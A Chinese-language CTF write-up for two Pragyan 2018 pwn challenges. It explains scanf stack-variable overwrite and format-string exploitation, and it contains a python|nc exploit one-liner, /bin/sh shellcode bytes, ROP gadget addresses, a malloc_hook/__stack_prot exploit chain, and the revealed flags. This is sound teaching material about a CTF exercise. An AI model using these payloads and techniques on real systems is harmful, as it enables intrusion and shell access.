Old school hack (200pts)
题目
题目描述
1 | Chris is trying out to be a police officer and the applications have just been sent into the police academy. |
题目链接:
https://github.com/eternalsakura/ctf_pwn/blob/master/pragyan2018/police_academy
前置知识
scanf变量覆盖
程序举例
1 |
|
输出结果
1 | AA |
简单调试
编译程序
1 | gcc test.c -g -o test |
1 | sakura@ubuntu:~$ gdb test |
可以看出函数里本来应该只对a赋值。
1 | scanf("%s",&a) |
但是b的值也被覆盖为A了,这里其实就可以栈溢出,但是在本题中只需要覆盖栈内变量即可。
分析
checksec
1 | sakura@ubuntu:~$ checksec police_academy |
64位程序,canary,NX保护
输入密码
密码被硬编码进程序,即kaiokenx20
1 | if ( strncmp(&s1, "kaiokenx20", 10uLL) ) |
栈溢出
文件读取函数
1 | __int64 v8; // [rsp+20h] [rbp-30h] |
这个函数的作用就是根据文件名读取文件,这个文件名本来是根据我们的选项(1-7)来决定的,比如如果是7,则v8 = ‘txt.galf’。
但是可以看出,如果我们输入的数在1-7之外,那么就不会对v8赋值,如果我们通过前面的scanf直接把v8的值覆盖成我们想要读取的文件名(flag.txt),那么就可以读取到flag了。
1 | __isoc99_scanf("%d", &v5); |
长度校验
1 | if ( (unsigned int)strlen(a1) != 36 ) |
因为我们提供的v8的文件名要等于36字节,但是flag.txt没有那么长,所以这里,我们可以用./././..来填充。
利用
利用思路
首先用scanf覆盖是s1的值为密码(kaiokenx20)+padding,覆盖v8的值为././././././././././././././flag.txt,然后读取flag。
确定填充值
1 | char s1; // [rsp+10h] [rbp-40h] |
s1需填充0x10即16个字节,v8填充36个字节。
exp
1 | python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000 |
1 | sakura@ubuntu:~$ python -c 'print "kaiokenx20\x00"+"\x00"*5+"././././././././././././././flag.txt\x00\n"+"8"'|nc 128.199.224.175 13000 |
Unbreakable encryption (350pts)
题目
题目描述
1 | Your friend, Liara, has encrypted all her life secrets, using the one of the best encryptions available in the world, the AES. She has challenged you that no matter what, you can never read her life secrets. |
题目链接
https://github.com/eternalsakura/ctf_pwn/tree/master/pragyan2018/unbreakable_encryption
前置知识
格式化字符串漏洞原理
pwn题中,有形如下述代码的形式就是格式化字符串漏洞
1 | char str[100]; |
也许使用者的目的只是直接输出字符串,但是这段字符串来源于可控的输入,就造成了漏洞。
示例程序如下
1 |
|
编译:gcc -m32 -o str str.c
输入:%2$x
原因是如果直接printf(“占位符”)这种形式,就会把栈上的偏移当做数据输出出来。通过构造格式化串,就可以实现任意地址读和任意地址写。
任意地址读
事实上,我们在scanf(或者read)来输入字符串的时候,字符串就已经在栈中了,如图,可以看出偏移为6。如果我们构造出addr(4字节)%6$s
,就能读取这个地址的值了。
我们尝试一下,输入AAAA%6$s
,当然不可能真的读到地址为41414141的内存值,不过从下图我框起来的内容就知道,如果我们输入一个合法的值,就可以读了。
任意地址写
和上面的任意地址读是同理的,只不过利用了格式化字符串的一个比较冷门的特性,%n。
这个占位符可以把它前面输出的字符的数量,写入指定的地址。
比如
1 | printf("abc%n", &val); |
val的值就被改变为3。
64位格式化字符串
下述示例来源于RE4B。
1 |
|
linux上优先使用RDI,RSI,RDX,RCX,R8,R9寄存器传递前6个参数,然后利用栈传递其余参数。
汇编代码如下
1 | .LC0: |
所以有
1 | (gdb) info registers |
1 | (gdb) x/10g $rsp |
所以在64位格式化字符串漏洞利用时,要注意如何计算偏移,因为即使没有占位符,我们依然是按照这个传参规则来读取变量的。
pwntools
fmtstr
上面说过我们要利用格式化串漏洞就要得到格式化串的偏移,pwntools有自动化代码可以得到这个偏移。
1 | # -*- coding: utf-8 -*- |
fmtstr_payload
生成任意地址写的payload的函数.
1 | fmtstr_payload(offset, {key: value}) |
fmtstr_payload有两个参数
- 第一个参数是int,用于表示取参数的偏移个数
- 第二个参数是字典,字典的意义是往key的地址,写入value的值
分析
checksec
1 | sakura@ubuntu:~/unbreakable_encryption$ checksec aes_enc_unbf |
静态链接
1 | sakura@ubuntu:~/unbreakable_encryption$ ldd aes_enc_unbf |
程序功能
1 | sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf |
读取输入并打印,并将其传递给encrypt,加载aes文件,加密消息并将其输出到屏幕。
然后它调用decrypt解密,并将明文输出到屏幕上。
栈溢出
1 | char v5; // [esp+Ch] [ebp-8Ch] |
scanf处存在栈溢出,上一个题的前置知识已经说过了。
不过这个题因为有canary,所以不能用来直接getshell,我们要想其他方法。
1 | sakura@ubuntu:~/unbreakable_encryption$ ./aes_enc_unbf |
格式化字符串漏洞
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
利用
利用思路
因为静态链接,所以不能改写GOT表,考虑使用malloc_hook来解题,可以参考0ctf的easiestprintf。
其次因为有canary,所以要先leak出canary。
所以总的思路就出来了:
- 通过格式化字符串的任意地址读写leak出canary的值,并劫持malloc_hook,使其指向main函数。
这样当执行malloc的时候,就会跳回main函数,然后重新执行程序。 - 然后我们修改_stack_prot的值为0x7,之后再次跳回main函数。
- 最后将malloc_hook的值还原为0,不再跳回main函数,然后因为之前已经leak出了canary的值,就可以触发栈溢出,将返回地址设置为_dl_make_stack_executable,并传入参数_libc_stack_end,因为之前_stack_prot的值已经被设置为0x7,这个函数将会使得栈可执行,取消NX保护,最后跳回我们预先写好的shellcode就可以getshell了。
准备shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
140x1000: xor eax, eax
0x1002: push eax
0x1003: push 0x68732f2f
0x1008: push 0x6e69622f
0x100d: push eax
0x100e: push eax
0x100f: pop ecx
0x1010: pop edx
0x1011: mov ebx, esp
0x1013: push 0x5b
0x1015: pop eax
0x1016: xor al, 0x50
0x1018: int 0x80
0x101a:1
\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x50\x50\x59\x5A\x89\xE3\x6A\x5B\x58\x34\x50\xCD\x80
准备参数
dl_make_stack_executable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15unsigned int __usercall dl_make_stack_executable@<eax>(_DWORD *a1@<eax>)
{
_DWORD *v1; // ebx
unsigned int result; // eax
if ( *a1 != _libc_stack_end )
return 1;
v1 = a1;
result = mprotect(*a1 & -dl_pagesize, dl_pagesize, _stack_prot);
if ( result )
return __readgsdword(0xFFFFFFE8);
*v1 = 0;
dl_stack_flags |= 1u;
return result;
}参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode了。
直接search。1
2
3_libc_stack_end = 0x0822ECE8
__stack_prot = 0x0822EC98
_dl_make_stack_executable = 0x081715D0malloc_hook
main
pop_eax
1
2
3
4
5
6sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "pop|ret"|grep eax
0x0813ed14 : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0817b0ea : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0804c906 : pop eax ; ret
0x0818f350 : pop eax ; ret 0xffe4
0x0817b0e9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; retpop_eax = 0x0804c906
jmp_esp
1
2sakura@ubuntu:~/unbreakable_encryption$ ROPgadget --binary aes_enc_unbf --only "jmp"|grep esp
0x08174bec : jmp espjmp_esp = 0x08174bec
确定偏移
要确定偏移需要多次调试,没有什么好的方法。
这里我也是把已经调试好的偏移直接带入跟了一遍而已。
要在pwntools里用gdb调试,首先要先设置好断点文件,然后gdb.attach(r,open(filename))
得到断点文件的方法如下。
1 | gef➤ b *0x8048d73 |
然后执行程序
1 | root@ubuntu:/home/sakura/unbreakable_encryption# python exp.py 1 |
1 | Breakpoint 1 at 0x8048d73 |
1 | ───────────────────────────────────────────────────────────────[ code:i386 ]──── |
printf执行完后,malloc_hook等于main函数的首地址。
1 | gef➤ x /gx 0x08230598 |
跳回main函数,为了确定跳回,先在main下个断点
1 | gef➤ b *0x08048CE0 |
继续执行,断在printf
1 | gef➤ c |
注意hhn代表只覆盖单字节。
这次printf结束之后,__stack_prot的值被修改为7。
1 | gef➤ x/gx 0x0822EC98 |
继续c还会再跳回main函数,因为malloc_hook还指向main函数。
1 | gef➤ c |
继续c,执行到printf,这次我不再步入printf里,所以esp就指向格式化串。
1 | gef➤ stack 60 |
printf执行完成后,malloc_hook已经恢复为0,不再会跳回main了,另外可以看出我们的leak出的canary和shellcode已经写入了栈里,实现了栈溢出。
1 | gef➤ x /gx 0x08230598 |
当main函数执行结束,要ret的时候,就返回到我们布置好的利用链里。
1 | 0xffffd048│+0x00: 0x0804c906 → <EVP_CIPHER_CTX_key_length+6> pop eax ← $esp |
1 | $eax : 0x0822ece8 → 0xffffd6bc → 0x00000000 |
栈可执行打开,并跳入shellcode执行。
1 | → 0xffffd070 int 0x80 |
getshell
exp来源phieulang1993
1 | sakura@ubuntu:~/unbreakable_encryption$ vim exp.py |
解密AES得到flag为pctf{th4t_m0m3n1-wh3n~f0rm41`SpiLls_0v3r}
其他exp(todo)
1 | from pwn import * |